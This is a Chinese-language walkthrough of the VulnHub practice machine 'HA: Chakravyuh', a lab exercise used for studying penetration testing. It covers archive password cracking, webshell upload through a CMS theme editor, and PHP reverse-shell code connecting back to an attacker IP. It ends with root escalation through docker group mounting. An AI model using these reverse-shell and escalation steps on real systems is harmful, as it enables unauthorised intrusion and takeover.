HA: Chakravyuh

Vulnhub靶场

下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/

背景:

Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.

ENUMERATION IS THE KEY!!!!!

端口扫描

发现ftp中存在arjun.7z

扫描路径

MySQL数据库

收集到这些信息后,猜测Getshell的流程是,通过压缩包知道数据库账号密码,数据库拿shell。

所以,先爆破arjun.7z的密码

Fcrackzip这款软件前面的靶机用过,挺好的,但不支持7z

Rarcrack这款软件可以爆破7z,但不能跑字典,遍历太久不现实。

rarcrack arjun.7z --threads 10 --type 7z

最后,我用的是PasswareKit,速度还是挺快的,支持GPU加速,

利用软件本身携带的字典将其破解,压缩包内的txt文本文件。

密码是family。

Base64解密:

gila:admin@gmail.com:princesa

不是数据库的密码。

看看是不是目录,前面的gila

http://192.168.139.140/gila/

http://192.168.139.140/gila/admin

在Themes处有模板选择,点击文件图标能编辑模板文件。

这里能够上传任意文件,上传了个马。

这个马无法解析,因为shell.ph被URL重写,将所有的指向index.php处理。

这里能够获取到数据库的账号密码。

进入数据库。

这里写入路径做了限制,不能直接写入shell,不过可以利用慢日志来获取shell。

同时该cms默认存在phpinfo。一般就是默认的/var/www/html/

但,这里不通过数据库Getshell

通过在index.php中写入反弹shell的代码Getshell

$sock=fsockopen("192.168.139.1",3418);exec("/bin/sh -i <&3 >&3 2>&3");

在PHP中执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了。

当系统没有禁用proc_popen的情况下,利用下面代码反弹shell。

$sock = fsockopen('192.168.139.1',3418);

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

成功反弹shell。

python -c "import pty;pty.spawn('/bin/bash');"

获取交互式shell

查找提权的点

查找777权限文件

查找suid的文件

在查看id时,发现该用户处于docker组。

可以利用docker提权,大概过程就是建立一个容器,将本机的文件加载其中。

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

详细情况可百度 docker提权。

Cat /root/final.txt

VulnHub靶场学习_HA: Chakravyuh的更多相关文章

  1. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  2. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  3. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  4. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  5. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  6. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. Mybatis——@MapperScan原理

    @MapperScan配置在@Configuration注解的类上会导入MapperScannerRegistrar类. 而MapperScannerRegistrar实现了ImportBeanDef ...

  2. 本地ES集群数据通过_reindex方式迁移到腾讯云服务器(亲测有效)

    本地ES集群数据通过_reindex方式迁移到腾讯云服务器(亲测有效) 随着业务量的增加,本地的ES集群服务器性能和磁盘空间有点不够使用,项目组考虑使用腾讯云服务器,以下是我测试的使用_reindex ...

  3. python新手70个练手项目

    不管学习哪门语言都希望能做出实际的东西来,这个实际的东西当然就是项目啦,不用多说大家都知道学编程语言一定要做项目才行. 这里整理了70个Python实战项目列表,都有完整且详细的教程,你可以从中选择自 ...

  4. 前端学习(十六):JavaScript运算

    进击のpython ***** 前端学习--JavaScript运算 在这一节之前,应该做到的是对上一节的数据类型的相关方法都敲一遍,加深印象 这部分的知识的特点就是碎而且杂,所以一定要多练~练习起来 ...

  5. json互相转换

    C#的后台 json转换为对象 JavaScriptSerializer js = new JavaScriptSerializer(); 对象 resacc = js.Deserialize< ...

  6. 【评价指标】详解F1-score与多分类MacroF1&MicroF1

    文章来自:一个宝藏微信公众号[机器学习炼丹术] 基本概念 首先,要背住的几个概念就是:accuracy,precision,recal, TP,FP,TN,FN TP:true positive.预测 ...

  7. 线程_GIL最简单的例子

    #解决多进程死循环 import multiprocessing def deadLoop(): while True: print("Hello") pass if __name ...

  8. PHP imagecolorclosest - 取得与指定的颜色最接近的颜色的索引值

    imagecolorclosest — 取得与指定的颜色最接近的颜色的索引值.高佣联盟 www.cgewang.com 语法 int imagecolorclosest ( resource $ima ...

  9. C/C++编程笔记:C++入门知识丨运算符重载

    本篇要学习的内容和知识结构概览 运算符重载使用场景 常规赋值操作 我们现在有一个类 想要实现这种赋值操作 具体实现如下: 所以说呢,我们在使用运算符进行运算的时候, 实际上也是通过函数来实现运算的. ...

  10. C/C++编程笔记:C语言进制详解,二进制、八进制和十六进制!

    我们平时使用的数字都是由 0~9 共十个数字组成的,例如 1.9.10.297.952 等,一个数字最多能表示九,如果要表示十.十一.二十九.一百等,就需要多个数字组合起来. 例如表示 5+8 的结果 ...